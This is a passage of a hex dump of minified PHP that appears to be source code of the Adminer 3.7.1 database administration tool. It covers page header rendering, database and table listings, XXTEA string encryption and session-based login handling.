70 74 27 3E 5C 6E 22 2C 22 76 61 72 20 6A 75 73 68 4C 69 6E 6B 73 20 3D
20 7B 20 24 78 3A 20 5B 20 27 22 2E 6A 73 5F 65 73 63 61 70 65 28 4D 45
29 2E 22 74 61 62 6C 65 3D 5C 24 26 27 2C 20 2F 5C 5C 62 28 22 2E 69 6D
70 6C 6F 64 65 28 22 7C 22 2C 24 69 64 29 2E 22 29 5C 5C 62 2F 67 20 5D
20 7D 3B 5C 6E 22 3B 66 6F 72 65 61 63 68 28 61 72 72 61 79 28 22 62 61
63 22 2C 22 62 72 61 22 2C 22 73 71 6C 69 74 65 5F 71 75 6F 22 2C 22 6D
73 73 71 6C 5F 62 72 61 22 29 61 73 24 58 29 65 63 68 6F 22 6A 75 73 68
4C 69 6E 6B 73 2E 24 58 20 3D 20 6A 75 73 68 4C 69 6E 6B 73 2E 24 78 3B
5C 6E 22 3B 65 63 68 6F 22 3C 2F 73 63 72 69 70 74 3E 5C 6E 22 3B 7D 7D
7D 7D 66 75 6E 63 74 69 6F 6E 0A 64 61 74 61 62 61 73 65 73 50 72 69 6E
74 28 24 79 64 29 7B 67 6C 6F 62 61 6C 24 67 3B 24 6A 3D 24 74 68 69 73
2D 3E 64 61 74 61 62 61 73 65 73 28 29 3B 65 63 68 6F 27 3C 66 6F 72 6D
20 61 63 74 69 6F 6E 3D 22 22 3E 0A 3C 70 20 69 64 3D 22 64 62 73 22 3E
0A 27 3B 68 69 64 64 65 6E 5F 66 69 65 6C 64 73 5F 67 65 74 28 29 3B 24
6C 62 3D 22 20 6F 6E 6D 6F 75 73 65 64 6F 77 6E 3D 27 64 62 4D 6F 75 73
65 44 6F 77 6E 28 65 76 65 6E 74 2C 20 74 68 69 73 29 3B 27 20 6F 6E 63
68 61 6E 67 65 3D 27 64 62 43 68 61 6E 67 65 28 74 68 69 73 29 3B 27 22
3B 65 63 68 6F 28 24 6A 3F 22 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 27
64 62 27 24 6C 62 3E 22 2E 6F 70 74 69 6F 6E 6C 69 73 74 28 61 72 72 61
79 28 22 22 3D 3E 22 28 22 2E 27 64 61 74 61 62 61 73 65 27 2E 22 29 22
29 2B 24 6A 2C 44 42 29 2E 22 3C 2F 73 65 6C 65 63 74 3E 22 3A 27 3C 69
6E 70 75 74 20 6E 61 6D 65 3D 22 64 62 22 20 76 61 6C 75 65 3D 22 27 2E
68 28 44 42 29 2E 27 22 20 61 75 74 6F 63 61 70 69 74 61 6C 69 7A 65 3D
22 6F 66 66 22 3E 27 29 2C 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 73
75 62 6D 69 74 27 20 76 61 6C 75 65 3D 27 22 2E 27 55 73 65 27 2E 22 27
22 2E 28 24 6A 3F 22 20 63 6C 61 73 73 3D 27 68 69 64 64 65 6E 27 22 3A
22 22 29 2E 22 3E 5C 6E 22 3B 69 66 28 24 79 64 21 3D 22 64 62 22 26 26
44 42 21 3D 22 22 26 26 24 67 2D 3E 73 65 6C 65 63 74 5F 64 62 28 44 42
29 29 7B 7D 65 63 68 6F 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 73 71
6C 22 5D 29 3F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65
6E 22 20 6E 61 6D 65 3D 22 73 71 6C 22 20 76 61 6C 75 65 3D 22 22 3E 27
3A 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 73 63 68 65 6D 61 22 5D 29
3F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E
61 6D 65 3D 22 73 63 68 65 6D 61 22 20 76 61 6C 75 65 3D 22 22 3E 27 3A
28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 64 75 6D 70 22 5D 29 3F 27 3C
69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65
3D 22 64 75 6D 70 22 20 76 61 6C 75 65 3D 22 22 3E 27 3A 22 22 29 29 29
2C 22 3C 2F 70 3E 3C 2F 66 6F 72 6D 3E 5C 6E 22 3B 7D 66 75 6E 63 74 69
6F 6E 0A 74 61 62 6C 65 73 50 72 69 6E 74 28 24 53 29 7B 65 63 68 6F 22
3C 70 20 69 64 3D 27 74 61 62 6C 65 73 27 20 6F 6E 6D 6F 75 73 65 6F 76
65 72 3D 27 6D 65 6E 75 4F 76 65 72 28 74 68 69 73 2C 20 65 76 65 6E 74
29 3B 27 20 6F 6E 6D 6F 75 73 65 6F 75 74 3D 27 6D 65 6E 75 4F 75 74 28
74 68 69 73 29 3B 27 3E 5C 6E 22 3B 66 6F 72 65 61 63 68 28 24 53 0A 61
73 24 51 3D 3E 24 6E 66 29 7B 65 63 68 6F 27 3C 61 20 68 72 65 66 3D 22
27 2E 68 28 4D 45 29 2E 27 73 65 6C 65 63 74 3D 27 2E 75 72 6C 65 6E 63
6F 64 65 28 24 51 29 2E 27 22 27 2E 62 6F 6C 64 28 24 5F 47 45 54 5B 22
73 65 6C 65 63 74 22 5D 3D 3D 24 51 7C 7C 24 5F 47 45 54 5B 22 65 64 69
74 22 5D 3D 3D 24 51 29 2E 22 3E 22 2E 27 73 65 6C 65 63 74 27 2E 22 3C
2F 61 3E 20 22 2C 27 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 29 2E
27 74 61 62 6C 65 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24 51 29 2E 27
22 27 2E 62 6F 6C 64 28 69 6E 5F 61 72 72 61 79 28 24 51 2C 61 72 72 61
79 28 24 5F 47 45 54 5B 22 74 61 62 6C 65 22 5D 2C 24 5F 47 45 54 5B 22
63 72 65 61 74 65 22 5D 2C 24 5F 47 45 54 5B 22 69 6E 64 65 78 65 73 22
5D 2C 24 5F 47 45 54 5B 22 66 6F 72 65 69 67 6E 22 5D 2C 24 5F 47 45 54
5B 22 74 72 69 67 67 65 72 22 5D 29 29 29 2E 22 20 74 69 74 6C 65 3D 27
22 2E 27 53 68 6F 77 20 73 74 72 75 63 74 75 72 65 27 2E 22 27 3E 22 2E
24 74 68 69 73 2D 3E 74 61 62 6C 65 4E 61 6D 65 28 24 6E 66 29 2E 22 3C
2F 61 3E 3C 62 72 3E 5C 6E 22 3B 7D 7D 7D 24 62 3D 28 66 75 6E 63 74 69
6F 6E 5F 65 78 69 73 74 73 28 27 61 64 6D 69 6E 65 72 5F 6F 62 6A 65 63
74 27 29 3F 61 64 6D 69 6E 65 72 5F 6F 62 6A 65 63 74 28 29 3A 6E 65 77
0A 41 64 6D 69 6E 65 72 29 3B 69 66 28 24 62 2D 3E 6F 70 65 72 61 74 6F
72 73 3D 3D 3D 6E 75 6C 6C 29 24 62 2D 3E 6F 70 65 72 61 74 6F 72 73 3D
24 53 64 3B 66 75 6E 63 74 69 6F 6E 0A 70 61 67 65 5F 68 65 61 64 65 72
28 24 4D 66 2C 24 6C 3D 22 22 2C 24 45 61 3D 61 72 72 61 79 28 29 2C 24
4E 66 3D 22 22 29 7B 67 6C 6F 62 61 6C 24 63 61 2C 24 62 2C 24 67 2C 24
7A 62 3B 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A
20 74 65 78 74 2F 68 74 6D 6C 3B 20 63 68 61 72 73 65 74 3D 75 74 66 2D
38 22 29 3B 69 66 28 24 62 2D 3E 68 65 61 64 65 72 73 28 29 29 7B 68 65
61 64 65 72 28 22 58 2D 46 72 61 6D 65 2D 4F 70 74 69 6F 6E 73 3A 20 64
65 6E 79 22 29 3B 68 65 61 64 65 72 28 22 58 2D 58 53 53 2D 50 72 6F 74
65 63 74 69 6F 6E 3A 20 30 22 29 3B 7D 24 4F 66 3D 24 4D 66 2E 28 24 4E
66 21 3D 22 22 3F 22 3A 20 22 2E 68 28 24 4E 66 29 3A 22 22 29 3B 24 50
66 3D 73 74 72 69 70 5F 74 61 67 73 28 24 4F 66 2E 28 53 45 52 56 45 52
21 3D 22 22 26 26 53 45 52 56 45 52 21 3D 22 6C 6F 63 61 6C 68 6F 73 74
22 3F 68 28 22 20 2D 20 22 2E 53 45 52 56 45 52 29 3A 22 22 29 2E 22 20
2D 20 22 2E 24 62 2D 3E 6E 61 6D 65 28 29 29 3B 65 63 68 6F 27 3C 21 44
4F 43 54 59 50 45 20 68 74 6D 6C 3E 0A 3C 68 74 6D 6C 20 6C 61 6E 67 3D
22 65 6E 22 20 64 69 72 3D 22 6C 74 72 22 3E 0A 3C 6D 65 74 61 20 68 74
74 70 2D 65 71 75 69 76 3D 22 43 6F 6E 74 65 6E 74 2D 54 79 70 65 22 20
63 6F 6E 74 65 6E 74 3D 22 74 65 78 74 2F 68 74 6D 6C 3B 20 63 68 61 72
73 65 74 3D 75 74 66 2D 38 22 3E 0A 3C 6D 65 74 61 20 68 74 74 70 2D 65
71 75 69 76 3D 22 43 6F 6E 74 65 6E 74 2D 53 63 72 69 70 74 2D 54 79 70
65 22 20 63 6F 6E 74 65 6E 74 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72
69 70 74 22 3E 0A 3C 6D 65 74 61 20 6E 61 6D 65 3D 22 72 6F 62 6F 74 73
22 20 63 6F 6E 74 65 6E 74 3D 22 6E 6F 69 6E 64 65 78 22 3E 0A 3C 74 69
74 6C 65 3E 27 2C 24 50 66 2C 27 3C 2F 74 69 74 6C 65 3E 0A 3C 6C 69 6E
6B 20 72 65 6C 3D 22 73 74 79 6C 65 73 68 65 65 74 22 20 74 79 70 65 3D
22 74 65 78 74 2F 63 73 73 22 20 68 72 65 66 3D 22 27 2C 68 28 70 72 65
67 5F 72 65 70 6C 61 63 65 28 22 7E 5C 5C 3F 2E 2A 7E 22 2C 22 22 2C 4D
45 29 29 2E 22 3F 66 69 6C 65 3D 64 65 66 61 75 6C 74 2E 63 73 73 26 61
6D 70 3B 76 65 72 73 69 6F 6E 3D 33 2E 37 2E 31 22 2C 27 22 3E 0A 3C 73
63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72
69 70 74 22 20 73 72 63 3D 22 27 2C 68 28 70 72 65 67 5F 72 65 70 6C 61
63 65 28 22 7E 5C 5C 3F 2E 2A 7E 22 2C 22 22 2C 4D 45 29 29 2E 22 3F 66
69 6C 65 3D 66 75 6E 63 74 69 6F 6E 73 2E 6A 73 26 61 6D 70 3B 76 65 72
73 69 6F 6E 3D 33 2E 37 2E 31 22 2C 27 22 3E 3C 2F 73 63 72 69 70 74 3E
0A 27 3B 69 66 28 24 62 2D 3E 68 65 61 64 28 29 29 7B 65 63 68 6F 27 3C
6C 69 6E 6B 20 72 65 6C 3D 22 73 68 6F 72 74 63 75 74 20 69 63 6F 6E 22
20 74 79 70 65 3D 22 69 6D 61 67 65 2F 78 2D 69 63 6F 6E 22 20 68 72 65
66 3D 22 27 2C 68 28 70 72 65 67 5F 72 65 70 6C 61 63 65 28 22 7E 5C 5C
3F 2E 2A 7E 22 2C 22 22 2C 4D 45 29 29 2E 22 3F 66 69 6C 65 3D 66 61 76
69 63 6F 6E 2E 69 63 6F 26 61 6D 70 3B 76 65 72 73 69 6F 6E 3D 33 2E 37
2E 31 22 2C 27 22 3E 0A 3C 6C 69 6E 6B 20 72 65 6C 3D 22 61 70 70 6C 65
2D 74 6F 75 63 68 2D 69 63 6F 6E 22 20 68 72 65 66 3D 22 27 2C 68 28 70
72 65 67 5F 72 65 70 6C 61 63 65 28 22 7E 5C 5C 3F 2E 2A 7E 22 2C 22 22
2C 4D 45 29 29 2E 22 3F 66 69 6C 65 3D 66 61 76 69 63 6F 6E 2E 69 63 6F
26 61 6D 70 3B 76 65 72 73 69 6F 6E 3D 33 2E 37 2E 31 22 2C 27 22 3E 0A
27 3B 69 66 28 66 69 6C 65 5F 65 78 69 73 74 73 28 22 61 64 6D 69 6E 65
72 2E 63 73 73 22 29 29 7B 65 63 68 6F 27 3C 6C 69 6E 6B 20 72 65 6C 3D
22 73 74 79 6C 65 73 68 65 65 74 22 20 74 79 70 65 3D 22 74 65 78 74 2F
63 73 73 22 20 68 72 65 66 3D 22 61 64 6D 69 6E 65 72 2E 63 73 73 22 3E
0A 27 3B 7D 7D 65 63 68 6F 27 0A 3C 62 6F 64 79 20 63 6C 61 73 73 3D 22
6C 74 72 20 6E 6F 6A 73 22 20 6F 6E 6B 65 79 64 6F 77 6E 3D 22 62 6F 64
79 4B 65 79 64 6F 77 6E 28 65 76 65 6E 74 29 3B 22 20 6F 6E 63 6C 69 63
6B 3D 22 62 6F 64 79 43 6C 69 63 6B 28 65 76 65 6E 74 29 3B 22 20 6F 6E
6C 6F 61 64 3D 22 62 6F 64 79 4C 6F 61 64 28 5C 27 27 2C 28 69 73 5F 6F
62 6A 65 63 74 28 24 67 29 3F 73 75 62 73 74 72 28 24 67 2D 3E 73 65 72
76 65 72 5F 69 6E 66 6F 2C 30 2C 33 29 3A 22 22 29 2C 27 5C 27 29 3B 27
2C 28 69 73 73 65 74 28 24 5F 43 4F 4F 4B 49 45 5B 22 61 64 6D 69 6E 65
72 5F 76 65 72 73 69 6F 6E 22 5D 29 3F 22 22 3A 22 20 76 65 72 69 66 79
56 65 72 73 69 6F 6E 28 29 3B 22 29 2C 27 22 3E 0A 3C 73 63 72 69 70 74
20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 22 3E
0A 64 6F 63 75 6D 65 6E 74 2E 62 6F 64 79 2E 63 6C 61 73 73 4E 61 6D 65
20 3D 20 64 6F 63 75 6D 65 6E 74 2E 62 6F 64 79 2E 63 6C 61 73 73 4E 61
6D 65 2E 72 65 70 6C 61 63 65 28 2F 20 6E 6F 6A 73 2F 2C 20 5C 27 20 6A
73 5C 27 29 3B 0A 3C 2F 73 63 72 69 70 74 3E 0A 0A 3C 64 69 76 20 69 64
3D 22 63 6F 6E 74 65 6E 74 22 3E 0A 27 3B 69 66 28 24 45 61 21 3D 3D 6E
75 6C 6C 29 7B 24 5F 3D 73 75 62 73 74 72 28 70 72 65 67 5F 72 65 70 6C
61 63 65 28 27 7E 28 75 73 65 72 6E 61 6D 65 7C 64 62 7C 6E 73 29 3D 5B
5E 26 5D 2A 26 7E 27 2C 27 27 2C 4D 45 29 2C 30 2C 2D 31 29 3B 65 63 68
6F 27 3C 70 20 69 64 3D 22 62 72 65 61 64 63 72 75 6D 62 22 3E 3C 61 20
68 72 65 66 3D 22 27 2E 68 28 24 5F 3F 24 5F 3A 22 2E 22 29 2E 27 22 3E
27 2E 24 7A 62 5B 44 52 49 56 45 52 5D 2E 27 3C 2F 61 3E 20 26 72 61 71
75 6F 3B 20 27 3B 24 5F 3D 73 75 62 73 74 72 28 70 72 65 67 5F 72 65 70
6C 61 63 65 28 27 7E 28 64 62 7C 6E 73 29 3D 5B 5E 26 5D 2A 26 7E 27 2C
27 27 2C 4D 45 29 2C 30 2C 2D 31 29 3B 24 4F 3D 28 53 45 52 56 45 52 21
3D 22 22 3F 68 28 53 45 52 56 45 52 29 3A 27 53 65 72 76 65 72 27 29 3B
69 66 28 24 45 61 3D 3D 3D 66 61 6C 73 65 29 65 63 68 6F 22 24 4F 5C 6E
22 3B 65 6C 73 65 7B 65 63 68 6F 22 3C 61 20 68 72 65 66 3D 27 22 2E 28
24 5F 3F 68 28 24 5F 29 3A 22 2E 22 29 2E 22 27 20 61 63 63 65 73 73 6B
65 79 3D 27 31 27 20 74 69 74 6C 65 3D 27 41 6C 74 2B 53 68 69 66 74 2B
31 27 3E 24 4F 3C 2F 61 3E 20 26 72 61 71 75 6F 3B 20 22 3B 69 66 28 24
5F 47 45 54 5B 22 6E 73 22 5D 21 3D 22 22 7C 7C 28 44 42 21 3D 22 22 26
26 69 73 5F 61 72 72 61 79 28 24 45 61 29 29 29 65 63 68 6F 27 3C 61 20
68 72 65 66 3D 22 27 2E 68 28 24 5F 2E 22 26 64 62 3D 22 2E 75 72 6C 65
6E 63 6F 64 65 28 44 42 29 2E 28 73 75 70 70 6F 72 74 28 22 73 63 68 65
6D 65 22 29 3F 22 26 6E 73 3D 22 3A 22 22 29 29 2E 27 22 3E 27 2E 68 28
44 42 29 2E 27 3C 2F 61 3E 20 26 72 61 71 75 6F 3B 20 27 3B 69 66 28 69
73 5F 61 72 72 61 79 28 24 45 61 29 29 7B 69 66 28 24 5F 47 45 54 5B 22
6E 73 22 5D 21 3D 22 22 29 65 63 68 6F 27 3C 61 20 68 72 65 66 3D 22 27
2E 68 28 73 75 62 73 74 72 28 4D 45 2C 30 2C 2D 31 29 29 2E 27 22 3E 27
2E 68 28 24 5F 47 45 54 5B 22 6E 73 22 5D 29 2E 27 3C 2F 61 3E 20 26 72
61 71 75 6F 3B 20 27 3B 66 6F 72 65 61 63 68 28 24 45 61 0A 61 73 24 79
3D 3E 24 58 29 7B 24 72 62 3D 28 69 73 5F 61 72 72 61 79 28 24 58 29 3F
24 58 5B 31 5D 3A 24 58 29 3B 69 66 28 24 72 62 21 3D 22 22 29 65 63 68
6F 27 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 2E 22 24 79 3D 22 29
2E 75 72 6C 65 6E 63 6F 64 65 28 69 73 5F 61 72 72 61 79 28 24 58 29 3F
24 58 5B 30 5D 3A 24 58 29 2E 27 22 3E 27 2E 68 28 24 72 62 29 2E 27 3C
2F 61 3E 20 26 72 61 71 75 6F 3B 20 27 3B 7D 7D 65 63 68 6F 22 24 4D 66
5C 6E 22 3B 7D 7D 65 63 68 6F 22 3C 68 32 3E 24 4F 66 3C 2F 68 32 3E 5C
6E 22 3B 72 65 73 74 61 72 74 5F 73 65 73 73 69 6F 6E 28 29 3B 24 6C 67
3D 70 72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 5E 5B 5E 3F 5D 2A 7E 27
2C 27 27 2C 24 5F 53 45 52 56 45 52 5B 22 52 45 51 55 45 53 54 5F 55 52
49 22 5D 29 3B 24 77 64 3D 24 5F 53 45 53 53 49 4F 4E 5B 22 6D 65 73 73
61 67 65 73 22 5D 5B 24 6C 67 5D 3B 69 66 28 24 77 64 29 7B 65 63 68 6F
22 3C 64 69 76 20 63 6C 61 73 73 3D 27 6D 65 73 73 61 67 65 27 3E 22 2E
69 6D 70 6C 6F 64 65 28 22 3C 2F 64 69 76 3E 5C 6E 3C 64 69 76 20 63 6C
61 73 73 3D 27 6D 65 73 73 61 67 65 27 3E 22 2C 24 77 64 29 2E 22 3C 2F
64 69 76 3E 5C 6E 22 3B 75 6E 73 65 74 28 24 5F 53 45 53 53 49 4F 4E 5B
22 6D 65 73 73 61 67 65 73 22 5D 5B 24 6C 67 5D 29 3B 7D 24 6A 3D 26 67
65 74 5F 73 65 73 73 69 6F 6E 28 22 64 62 73 22 29 3B 69 66 28 44 42 21
3D 22 22 26 26 24 6A 26 26 21 69 6E 5F 61 72 72 61 79 28 44 42 2C 24 6A
2C 74 72 75 65 29 29 24 6A 3D 6E 75 6C 6C 3B 73 74 6F 70 5F 73 65 73 73
69 6F 6E 28 29 3B 69 66 28 24 6C 29 65 63 68 6F 22 3C 64 69 76 20 63 6C
61 73 73 3D 27 65 72 72 6F 72 27 3E 24 6C 3C 2F 64 69 76 3E 5C 6E 22 3B
64 65 66 69 6E 65 28 22 50 41 47 45 5F 48 45 41 44 45 52 22 2C 31 29 3B
7D 66 75 6E 63 74 69 6F 6E 0A 70 61 67 65 5F 66 6F 6F 74 65 72 28 24 79
64 3D 22 22 29 7B 67 6C 6F 62 61 6C 24 62 3B 65 63 68 6F 27 3C 2F 64 69
76 3E 0A 0A 3C 64 69 76 20 69 64 3D 22 6D 65 6E 75 22 3E 0A 27 3B 24 62
2D 3E 6E 61 76 69 67 61 74 69 6F 6E 28 24 79 64 29 3B 65 63 68 6F 27 3C
2F 64 69 76 3E 0A 3C 73 63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74
2F 6A 61 76 61 73 63 72 69 70 74 22 3E 73 65 74 75 70 53 75 62 6D 69 74
48 69 67 68 6C 69 67 68 74 28 64 6F 63 75 6D 65 6E 74 29 3B 3C 2F 73 63
72 69 70 74 3E 0A 27 3B 7D 66 75 6E 63 74 69 6F 6E 0A 69 6E 74 33 32 28
24 44 29 7B 77 68 69 6C 65 28 24 44 3E 3D 32 31 34 37 34 38 33 36 34 38
29 24 44 2D 3D 34 32 39 34 39 36 37 32 39 36 3B 77 68 69 6C 65 28 24 44
3C 3D 2D 32 31 34 37 34 38 33 36 34 39 29 24 44 2B 3D 34 32 39 34 39 36
37 32 39 36 3B 72 65 74 75 72 6E 28 69 6E 74 29 24 44 3B 7D 66 75 6E 63
74 69 6F 6E 0A 6C 6F 6E 67 32 73 74 72 28 24 57 2C 24 75 67 29 7B 24 59
65 3D 27 27 3B 66 6F 72 65 61 63 68 28 24 57 0A 61 73 24 58 29 24 59 65
2E 3D 70 61 63 6B 28 27 56 27 2C 24 58 29 3B 69 66 28 24 75 67 29 72 65
74 75 72 6E 0A 73 75 62 73 74 72 28 24 59 65 2C 30 2C 65 6E 64 28 24 57
29 29 3B 72 65 74 75 72 6E 24 59 65 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73
74 72 32 6C 6F 6E 67 28 24 59 65 2C 24 75 67 29 7B 24 57 3D 61 72 72 61
79 5F 76 61 6C 75 65 73 28 75 6E 70 61 63 6B 28 27 56 2A 27 2C 73 74 72
5F 70 61 64 28 24 59 65 2C 34 2A 63 65 69 6C 28 73 74 72 6C 65 6E 28 24
59 65 29 2F 34 29 2C 22 5C 30 22 29 29 29 3B 69 66 28 24 75 67 29 24 57
5B 5D 3D 73 74 72 6C 65 6E 28 24 59 65 29 3B 72 65 74 75 72 6E 24 57 3B
7D 66 75 6E 63 74 69 6F 6E 0A 78 78 74 65 61 5F 6D 78 28 24 7A 67 2C 24
79 67 2C 24 76 66 2C 24 54 63 29 7B 72 65 74 75 72 6E 0A 69 6E 74 33 32
28 28 28 24 7A 67 3E 3E 35 26 30 78 37 46 46 46 46 46 46 29 5E 24 79 67
3C 3C 32 29 2B 28 28 24 79 67 3E 3E 33 26 30 78 31 46 46 46 46 46 46 46
29 5E 24 7A 67 3C 3C 34 29 29 5E 69 6E 74 33 32 28 28 24 76 66 5E 24 79
67 29 2B 28 24 54 63 5E 24 7A 67 29 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A
65 6E 63 72 79 70 74 5F 73 74 72 69 6E 67 28 24 70 66 2C 24 79 29 7B 69
66 28 24 70 66 3D 3D 22 22 29 72 65 74 75 72 6E 22 22 3B 24 79 3D 61 72
72 61 79 5F 76 61 6C 75 65 73 28 75 6E 70 61 63 6B 28 22 56 2A 22 2C 70
61 63 6B 28 22 48 2A 22 2C 6D 64 35 28 24 79 29 29 29 29 3B 24 57 3D 73
74 72 32 6C 6F 6E 67 28 24 70 66 2C 74 72 75 65 29 3B 24 44 3D 63 6F 75
6E 74 28 24 57 29 2D 31 3B 24 7A 67 3D 24 57 5B 24 44 5D 3B 24 79 67 3D
24 57 5B 30 5D 3B 24 48 3D 66 6C 6F 6F 72 28 36 2B 35 32 2F 28 24 44 2B
31 29 29 3B 24 76 66 3D 30 3B 77 68 69 6C 65 28 24 48 2D 2D 3E 30 29 7B
24 76 66 3D 69 6E 74 33 32 28 24 76 66 2B 30 78 39 45 33 37 37 39 42 39
29 3B 24 45 62 3D 24 76 66 3E 3E 32 26 33 3B 66 6F 72 28 24 65 65 3D 30
3B 24 65 65 3C 24 44 3B 24 65 65 2B 2B 29 7B 24 79 67 3D 24 57 5B 24 65
65 2B 31 5D 3B 24 5F 64 3D 78 78 74 65 61 5F 6D 78 28 24 7A 67 2C 24 79
67 2C 24 76 66 2C 24 79 5B 24 65 65 26 33 5E 24 45 62 5D 29 3B 24 7A 67
3D 69 6E 74 33 32 28 24 57 5B 24 65 65 5D 2B 24 5F 64 29 3B 24 57 5B 24
65 65 5D 3D 24 7A 67 3B 7D 24 79 67 3D 24 57 5B 30 5D 3B 24 5F 64 3D 78
78 74 65 61 5F 6D 78 28 24 7A 67 2C 24 79 67 2C 24 76 66 2C 24 79 5B 24
65 65 26 33 5E 24 45 62 5D 29 3B 24 7A 67 3D 69 6E 74 33 32 28 24 57 5B
24 44 5D 2B 24 5F 64 29 3B 24 57 5B 24 44 5D 3D 24 7A 67 3B 7D 72 65 74
75 72 6E 0A 6C 6F 6E 67 32 73 74 72 28 24 57 2C 66 61 6C 73 65 29 3B 7D
66 75 6E 63 74 69 6F 6E 0A 64 65 63 72 79 70 74 5F 73 74 72 69 6E 67 28
24 70 66 2C 24 79 29 7B 69 66 28 24 70 66 3D 3D 22 22 29 72 65 74 75 72
6E 22 22 3B 69 66 28 21 24 79 29 72 65 74 75 72 6E 0A 66 61 6C 73 65 3B
24 79 3D 61 72 72 61 79 5F 76 61 6C 75 65 73 28 75 6E 70 61 63 6B 28 22
56 2A 22 2C 70 61 63 6B 28 22 48 2A 22 2C 6D 64 35 28 24 79 29 29 29 29
3B 24 57 3D 73 74 72 32 6C 6F 6E 67 28 24 70 66 2C 66 61 6C 73 65 29 3B
24 44 3D 63 6F 75 6E 74 28 24 57 29 2D 31 3B 24 7A 67 3D 24 57 5B 24 44
5D 3B 24 79 67 3D 24 57 5B 30 5D 3B 24 48 3D 66 6C 6F 6F 72 28 36 2B 35
32 2F 28 24 44 2B 31 29 29 3B 24 76 66 3D 69 6E 74 33 32 28 24 48 2A 30
78 39 45 33 37 37 39 42 39 29 3B 77 68 69 6C 65 28 24 76 66 29 7B 24 45
62 3D 24 76 66 3E 3E 32 26 33 3B 66 6F 72 28 24 65 65 3D 24 44 3B 24 65
65 3E 30 3B 24 65 65 2D 2D 29 7B 24 7A 67 3D 24 57 5B 24 65 65 2D 31 5D
3B 24 5F 64 3D 78 78 74 65 61 5F 6D 78 28 24 7A 67 2C 24 79 67 2C 24 76
66 2C 24 79 5B 24 65 65 26 33 5E 24 45 62 5D 29 3B 24 79 67 3D 69 6E 74
33 32 28 24 57 5B 24 65 65 5D 2D 24 5F 64 29 3B 24 57 5B 24 65 65 5D 3D
24 79 67 3B 7D 24 7A 67 3D 24 57 5B 24 44 5D 3B 24 5F 64 3D 78 78 74 65
61 5F 6D 78 28 24 7A 67 2C 24 79 67 2C 24 76 66 2C 24 79 5B 24 65 65 26
33 5E 24 45 62 5D 29 3B 24 79 67 3D 69 6E 74 33 32 28 24 57 5B 30 5D 2D
24 5F 64 29 3B 24 57 5B 30 5D 3D 24 79 67 3B 24 76 66 3D 69 6E 74 33 32
28 24 76 66 2D 30 78 39 45 33 37 37 39 42 39 29 3B 7D 72 65 74 75 72 6E
0A 6C 6F 6E 67 32 73 74 72 28 24 57 2C 74 72 75 65 29 3B 7D 24 67 3D 27
27 3B 24 54 3D 24 5F 53 45 53 53 49 4F 4E 5B 22 74 6F 6B 65 6E 22 5D 3B
69 66 28 21 24 5F 53 45 53 53 49 4F 4E 5B 22 74 6F 6B 65 6E 22 5D 29 24
5F 53 45 53 53 49 4F 4E 5B 22 74 6F 6B 65 6E 22 5D 3D 72 61 6E 64 28 31
2C 31 65 36 29 3B 24 6F 65 3D 61 72 72 61 79 28 29 3B 69 66 28 24 5F 43
4F 4F 4B 49 45 5B 22 61 64 6D 69 6E 65 72 5F 70 65 72 6D 61 6E 65 6E 74
22 5D 29 7B 66 6F 72 65 61 63 68 28 65 78 70 6C 6F 64 65 28 22 20 22 2C
24 5F 43 4F 4F 4B 49 45 5B 22 61 64 6D 69 6E 65 72 5F 70 65 72 6D 61 6E
65 6E 74 22 5D 29 61 73 24 58 29 7B 6C 69 73 74 28 24 79 29 3D 65 78 70
6C 6F 64 65 28 22 3A 22 2C 24 58 29 3B 24 6F 65 5B 24 79 5D 3D 24 58 3B
7D 7D 24 63 3D 24 5F 50 4F 53 54 5B 22 61 75 74 68 22 5D 3B 69 66 28 24
63 29 7B 73 65 73 73 69 6F 6E 5F 72 65 67 65 6E 65 72 61 74 65 5F 69 64
28 29 3B 24 5F 53 45 53 53 49 4F 4E 5B 22 70 77 64 73 22 5D 5B 24 63 5B
22 64 72 69 76 65 72 22 5D 5D 5B 24 63 5B 22 73 65 72 76 65 72 22 5D 5D
5B 24 63 5B 22 75 73 65 72 6E 61 6D 65 22 5D 5D 3D 24 63 5B 22 70 61 73
73 77 6F 72 64 22 5D 3B 24 5F 53 45 53 53 49 4F 4E 5B 22 64 62 22 5D 5B
24 63 5B 22 64 72 69 76 65 72 22 5D 5D 5B 24 63 5B 22 73 65 72 76 65 72
22 5D 5D 5B 24 63 5B 22 75 73 65 72 6E 61 6D 65 22 5D 5D 5B 24 63 5B 22
64 62 22 5D 5D 3D 74 72 75 65 3B 69 66 28 24 63 5B 22 70 65 72 6D 61 6E
65 6E 74 22 5D 29 7B 24 79 3D 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28
24 63 5B 22 64 72 69 76 65 72 22 5D 29 2E 22 2D 22 2E 62 61 73 65 36 34
5F 65 6E 63 6F 64 65 28 24 63 5B 22 73 65 72 76 65 72 22 5D 29 2E 22 2D
22 2E 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28 24 63 5B 22 75 73 65 72
6E 61 6D 65 22 5D 29 2E 22 2D 22 2E 62 61 73 65 36 34 5F 65 6E 63 6F 64
65 28 24 63 5B 22 64 62 22 5D 29 3B 24 79 65 3D 24 62 2D 3E 70 65 72 6D
61 6E 65 6E 74 4C 6F 67 69 6E 28 74 72 75 65 29 3B 24 6F 65 5B 24 79 5D
3D 22 24 79 3A 22 2E 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28 24 79 65
3F 65 6E 63 72 79 70 74 5F 73 74 72 69 6E 67 28 24 63 5B 22 70 61 73 73
